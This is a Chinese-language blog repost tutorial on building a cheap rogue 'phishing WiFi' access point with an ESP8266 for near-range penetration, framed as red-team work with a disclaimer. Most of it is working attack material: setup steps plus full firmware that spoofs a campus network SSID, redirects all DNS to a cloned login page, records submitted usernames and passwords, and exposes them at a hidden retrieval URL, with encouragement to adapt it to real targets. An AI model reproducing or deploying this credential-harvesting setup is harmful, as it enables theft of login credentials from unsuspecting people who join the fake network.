近源渗透,超低成本打造自定义专属钓鱼WIFI

渗透技巧 1年前 (2022) admin
624 0 0

近源渗透,超低成本打造自定义专属钓鱼WIFI

免责声明
由于传播、利用本公众号听风安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号听风安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

*严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。

在企业安全设备越来越多,边境安全防护越做越好的情况下,钓鱼攻击已经逐渐成为了红蓝对抗演练的主要方法。而随着邮件服务器WAF等设备的更新以及企业人员安全意识的逐步提高,针对邮件钓鱼攻击也有了更多的防范措施。

在攻防演习、授权测试过程中,近源渗透与钓鱼攻击的组合拳能达到出其不意的效果,但行为有时也太过明显–手持MBP在目标附近转悠,且有被直接抓获的风险(活捉成就达成)。

于是笔者制作了一款钓鱼WIFI,特点是小型且不易被发现,信号范围广,其次是成本低,可将其安装在目标附近。


    制作准备

硬件

ESP8266(某宝10元左右)

近源渗透,超低成本打造自定义专属钓鱼WIFI

电源模块(可选)

近源渗透,超低成本打造自定义专属钓鱼WIFI

软件

Arduino 1.8.13及以上

软件配置

Arduino – 首选项 – 附加开发版管理网址,添加如下网址

http://arduino.esp8266.com/stable/package_esp8266com_index.json
https://raw.githubusercontent.com/SpacehuhnTech/arduino/main/package_spacehuhn_index.json

近源渗透,超低成本打造自定义专属钓鱼WIFI

2. Arduino – 工具 – 开发板 – 开发板管理器,输入”esp8266″,点击查找,选择”esp8266 by ESP8266 Community”安装,下载时建议使用代理。

近源渗透,超低成本打造自定义专属钓鱼WIFI

3. 下载ESP8266FS,将esp8266fs.jar放入Arduino根目录下的tools文件夹,以MacOS为例,格式为 /Applications/Arduino.app/Contents/Java/tools/ESP8266FS/tool/esp8266fs.jar

https://github.com/esp8266/arduino-esp8266fs-plugin/releases


制作钓鱼网页

此处以某认证系统为例。

下载网页

近源渗透,超低成本打造自定义专属钓鱼WIFI

修改登录接口为pass,用户名密码为user, pass。

近源渗透,超低成本打造自定义专属钓鱼WIFI

刷写ESP8266固件

Arduino – 文件 – 新建,新建项目。

近源渗透,超低成本打造自定义专属钓鱼WIFI

1.Arduino – 工具,配置开发板信息如下,需要注意端口的配置。

近源渗透,超低成本打造自定义专属钓鱼WIFI

此处笔者直接贴出代码,并对代码做了详细注解,希望读者们认真阅读,重点代码在于接受传来的数据并存储的过程,能够举一反三。

#include <ESP8266WiFi.h>#include <DNSServer.h>#include <ESP8266WebServer.h>#include <WiFiClient.h>#include <FS.h>
// DNS默认端口,无需修改const byte DNS_PORT = 53;
// WIFI名称const char *ssid = "HUBU-STUDENT-PRO";
// AP的IP地址(即网关地址)IPAddress apIP(192, 168, 1, 1);
// 查看存储密码的密码String ppassword = "t123061";
DNSServer dnsServer;ESP8266WebServer webServer(80);
// 存储账号密码String data = "";
// 认证页面String responseHTML = "<html><head><meta http-equiv="refresh" content="1;URL='http://192.168.1.1/index.html'"></head></html>";
// 登录失败页面String responseHTML_error = "<html><head><meta http-equiv="refresh" content="5;URL='http://192.168.1.1/index.html'"><h3>没有找到符合条件的策略,5秒后返回</h3></head></html>";

String getContentType(String filename){ if(webServer.hasArg("download")) return "application/octet-stream"; else if(filename.endsWith(".htm")) return "text/html"; else if(filename.endsWith(".html")) return "text/html"; else if(filename.endsWith(".css")) return "text/css"; else if(filename.endsWith(".js")) return "application/javascript"; else if(filename.endsWith(".png")) return "image/png"; else if(filename.endsWith(".gif")) return "image/gif"; else if(filename.endsWith(".jpg")) return "image/jpeg"; else if(filename.endsWith(".ico")) return "image/x-icon"; else if(filename.endsWith(".xml")) return "text/xml"; else if(filename.endsWith(".pdf")) return "application/x-pdf"; else if(filename.endsWith(".zip")) return "application/x-zip"; else if(filename.endsWith(".gz")) return "application/x-gzip"; return "text/plain";}

// 查看存储的账号和密码void paw(){ if(webServer.arg("key")==ppassword){ webServer.send(200, "text/plain", data); }else{ webServer.send(200, "text/html", responseHTML); }}
// 记录从钓鱼界面传过来的账号和密码void pass(){ if(webServer.arg("user") != "" && webServer.arg("pass") != ""){ data += "username:"; data += webServer.arg("user"); data += "----password:"; data += webServer.arg("pass"); data += "rn"; webServer.send(200, "text/html", responseHTML_error); }}

void background() { File file = SPIFFS.open("/background.jpg", "r"); size_t sent = webServer.streamFile(file, "image/jpeg"); file.close(); return;} void bootstrap() { File file = SPIFFS.open("/bootstrap.css", "r"); size_t sent = webServer.streamFile(file, "text/css"); file.close(); return;} void logo_r() { File file = SPIFFS.open("/logo.png", "r"); size_t sent = webServer.streamFile(file, "image/png"); file.close(); return;} void favicon() { File file = SPIFFS.open("/favicon.ico", "r"); size_t sent = webServer.streamFile(file, "image/x-icon"); file.close(); return;} void main_r() { File file = SPIFFS.open("/main.css", "r"); size_t sent = webServer.streamFile(file, "text/css"); file.close(); return;} void middle_r() { File file = SPIFFS.open("/middle.png", "r"); size_t sent = webServer.streamFile(file, "image/png"); file.close(); return;} void uname_r() { File file = SPIFFS.open("/uname.png", "r"); size_t sent = webServer.streamFile(file, "image/png"); file.close(); return;} void upwd_r() { File file = SPIFFS.open("/upwd.png", "r"); size_t sent = webServer.streamFile(file, "image/png"); file.close(); return;}void index_r(){ File file = SPIFFS.open("/index.html", "r"); size_t sent = webServer.streamFile(file, "text/html"); file.close(); return;}
// 首页void handleRoot() { File file = SPIFFS.open("/index.html", "r"); size_t sent = webServer.streamFile(file, "text/html"); file.close(); return;}
void setup() { // WIFI配置 Serial.begin(9600); SPIFFS.begin(); WiFi.mode(WIFI_AP); WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0)); WiFi.softAP(ssid);
// DNS配置 dnsServer.start(DNS_PORT, "*", apIP);
// 配置404网页为首页 webServer.onNotFound([]() { webServer.send(200, "text/html", responseHTML); });
// 配置查看密码网页 webServer.on ("/key518", HTTP_GET, paw); webServer.on("/", handleRoot);
// 配置登录接口 webServer.on("/pass", HTTP_GET, pass);
webServer.on("/background.jpg", background); webServer.on("/bootstrap.css", bootstrap); webServer.on("/logo.png", logo_r); webServer.on("favicon.ico", favicon); webServer.on("/main.css", main_r); webServer.on("/middle.png", middle_r); webServer.on("/uname.png", uname_r); webServer.on("/upwd.png", upwd_r);
webServer.on("/index.html", index_r); webServer.begin();}
void loop() { dnsServer.processNextRequest(); webServer.handleClient();}

保存项目,会自动生成一个文件夹存储代码文件,根据步骤3配置好开发板与端口后,点击编译上传,等待上传成功。

近源渗透,超低成本打造自定义专属钓鱼WIFI

在项目目录下新建data目录,将前端文件放入,然后使用ESP8266FS工具上传

近源渗透,超低成本打造自定义专属钓鱼WIFI

近源渗透,超低成本打造自定义专属钓鱼WIFI

到此制作已经全部完成

成品演示

连接WiFi

近源渗透,超低成本打造自定义专属钓鱼WIFI

连接WiFi后自动弹出认证界面,输入用户密码test/test

点击登录后跳转到预置的登录失败界面

近源渗透,超低成本打造自定义专属钓鱼WIFI

访问预置网址 http://192.168.1.1/key514?pass=t123061 ,OK

近源渗透,超低成本打造自定义专属钓鱼WIFI

后记

文章中以某认证系统为例,在实际测试中,只需要下载目标认证界面修改,或自行编写界面,即可达到超低成本钓鱼效果。

经过笔者不严谨的测试,空地WiFi范围可达200m左右。

同时读者们可举一反三,对钓鱼方法及代码进行更加针对性的改动,此处不做过多赘述。

账号密码存储可写入存储而非内存(断电清空),由于笔者最近其他事情缠身,更新时间待定。

原文作者:李逍遥g转载来自FreeBuf.COM


· END ·
点击下方名片,关注我们
觉得内容不错,就点下在看
如果不想错过新的内容推送,可以设为星标近源渗透,超低成本打造自定义专属钓鱼WIFI

原文始发于微信公众号(听风安全):近源渗透,超低成本打造自定义专属钓鱼WIFI

版权声明:admin 发表于 2022年10月15日 下午2:48。
转载请注明:近源渗透,超低成本打造自定义专属钓鱼WIFI | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...